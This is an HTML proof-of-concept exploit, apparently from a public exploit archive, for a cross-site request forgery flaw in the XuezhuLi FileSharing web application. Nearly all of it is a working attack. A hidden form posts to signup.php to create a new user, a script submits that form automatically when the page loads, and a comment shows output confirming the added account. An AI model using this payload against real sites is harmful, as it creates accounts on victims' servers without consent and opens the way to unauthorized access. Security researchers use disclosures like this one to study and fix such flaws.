27 lines
No EOL
700 B
HTML
27 lines
No EOL
700 B
HTML
<!--
|
|
# Exploit Title: XuezhuLi FileSharing - CSRF(Add User)
|
|
# Date: 2016-06-23
|
|
# Exploit Author: HaHwul
|
|
# Exploit Author Blog: www.hahwul.com
|
|
# Vendor Homepage: https://github.com/XuezhuLi
|
|
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip
|
|
# Version: Latest commit
|
|
# Tested on: Debian [wheezy]
|
|
-->
|
|
|
|
<form name="csrf_poc" action="http://127.0.0.1/vul_test/FileSharing/signup.php" method="POST">
|
|
<input type="hidden" name="sign" value="ok">
|
|
<input type="hidden" name="newuser" value="csrf_test">
|
|
|
|
<input type="submit" value="Replay!">
|
|
</form>
|
|
|
|
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
|
|
|
|
<!--
|
|
Output.
|
|
#> cat /srv/userlists.txt
|
|
aaaa
|
|
csrf_test
|
|
|
|
--> |